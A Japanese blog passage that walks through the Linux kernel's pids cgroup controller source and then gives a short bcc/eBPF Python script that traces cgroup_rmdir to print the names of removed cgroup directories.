次はpids_can_attach()です。この関数はプロセスがあるcgroupから別のcgroupに移動する時に呼ばれます。処理内容としては移動元のpid cgroupからPIDの使用数(counter)を減らして、新しいほうのPIDの使用数を増やします。

165 static int pids_can_attach(struct cgroup_taskset *tset)
166 {
167         struct task_struct *task;
168         struct cgroup_subsys_state *dst_css;
169 
170         cgroup_taskset_for_each(task, dst_css, tset) {
171                 struct pids_cgroup *pids = css_pids(dst_css);
172                 struct cgroup_subsys_state *old_css;
173                 struct pids_cgroup *old_pids;
174 
175                 /*
176                  * No need to pin @old_css between here and cancel_attach()
177                  * because cgroup core protects it from being freed before
178                  * the migration completes or fails.
179                  */
180                 old_css = task_css(task, pids_cgrp_id);
181                 old_pids = css_pids(old_css);
182 
183                 pids_charge(pids, 1);
184                 pids_uncharge(old_pids, 1);
185         }
186 
187         return 0;
188 }

countを増やしたり減らしたりするのがpids_charge()とpids_uncharge()です。

pids_charge()はこのような処理で、階層を上位に移動しながら、pidのcounterを増やします。

122 static void pids_charge(struct pids_cgroup *pids, int num)
123 {
124         struct pids_cgroup *p;
125 
126         for (p = pids; parent_pids(p); p = parent_pids(p))
127                 atomic64_add(num, &p->counter);
128 }

pids_uncharge()のほうは単純にいうとpids_charge()と逆の処理をします。実際にcounterの値を更新するのはpids_cancel()ですが。

pids_cancel_attach()はアタッチをキャンセルする処理で、やることは移動先のcounterを減らして移動元のcounterの値を増やします。

pids_can_fork()はfork/clone/vfork時にcopy_process()の途中で呼ばれます。cgroup_can_fork()がサブシステムのcan_fork()を呼び出す形です。

1567         retval = cgroup_can_fork(p);
1568         if (retval)
1569                 goto bad_fork_free_pid;

そして、pids_can_fork()の処理ですが、これはpids_try_charge()を呼んでpid数の上限に達していないか確認し、問題なければ0を返します。上限に達している場合はEAGAINが返ります。なので、fork爆弾とかはここで上限値チェックに引っかかるんじゃないでしょうか。試してませんが。。。

pids_cancel_fork()はキャンセル処理なので増やしたcounterの値を減らします。

次に、pids.maxファイルへの書き込み時のpids_max_write()ですが、これは大方の予想通りなことしかしてません。 読み込みのときにmaxって文字列を出してましたが、これは条件があります。pids_max_show()で、pid cgroupに設定されているlimitがPIDS_MAX以上の場合はmaxという文字列が表示されます。

269 static int pids_max_show(struct seq_file *sf, void *v)
270 {
271         struct cgroup_subsys_state *css = seq_css(sf);
272         struct pids_cgroup *pids = css_pids(css);
273         int64_t limit = pids->limit;
274 
275         if (limit >= PIDS_MAX)
276                 seq_printf(sf, "%s\n", PIDS_MAX_STR);
277         else
278                 seq_printf(sf, "%lld\n", limit);
279 
280         return 0;
281 }

limitの初期値はPIDS_MAXなので、pids.maxを弄ってなければデフォルトはmaxになります。

pid cgroupはだいたいこれくらいですね。結構短くて読みやすいですね。

改訂3版 Linuxエンジニア養成読本 (Software Design plus)

改訂3版 Linuxエンジニア養成読本 (Software Design plus)

bccめも:bpf_probe_read()

bpf_probe_read()は3番目の引数を安全に読み出すためのものという認識で間違ってないとは思うけど。

linuxカーネルsamples/bpf/bpf_helpers.hを見ると引数名はunsafe_ptrとかなってるし。strpcyとかだとinvalid opcode的なエラーになったので、この辺を使っておくのが良いのだろう。たぶん。

 18 static int (*bpf_probe_read)(void *dst, int size, void *unsafe_ptr) =
 19         (void *) BPF_FUNC_probe_read;

memo.

#!/usr/bin/env python

from bcc import BPF
import ctypes as ct

prog = """
#include <uapi/linux/ptrace.h>
#include <linux/kernfs.h>

BPF_PERF_OUTPUT(events);

struct cgroup_rmdir_dname {
    char name[256];
};

void kprobe__cgroup_rmdir(struct pt_regs *ctx, struct kernfs_node *kn)
{
        struct cgroup_rmdir_dname crd = {};
        bpf_probe_read(&crd.name, sizeof(crd.name) - 1, (void *) kn->name);
        events.perf_submit(ctx, &crd, sizeof(crd));
}
"""

class CgroupRmdirData(ct.Structure):
    _fields_ = [
        ("name", ct.c_char * 256)
    ]

def print_event(cpu, data, size):
    event = ct.cast(data, ct.POINTER(CgroupRmdirData)).contents
    print("name: %s" % (event.name))

print("Ctrl-c to stop")
b = BPF(text=prog)
b["events"].open_perf_buffer(print_event)
while 1:
    b.kprobe_poll()

こんな感じ。

# mkdir test && rmdir test
# ./cgroup_rmdir.py
Ctrl-c to stop
name: b'test'

改訂3版 Linuxエンジニア養成読本 (Software Design plus)

改訂3版 Linuxエンジニア養成読本 (Software Design plus)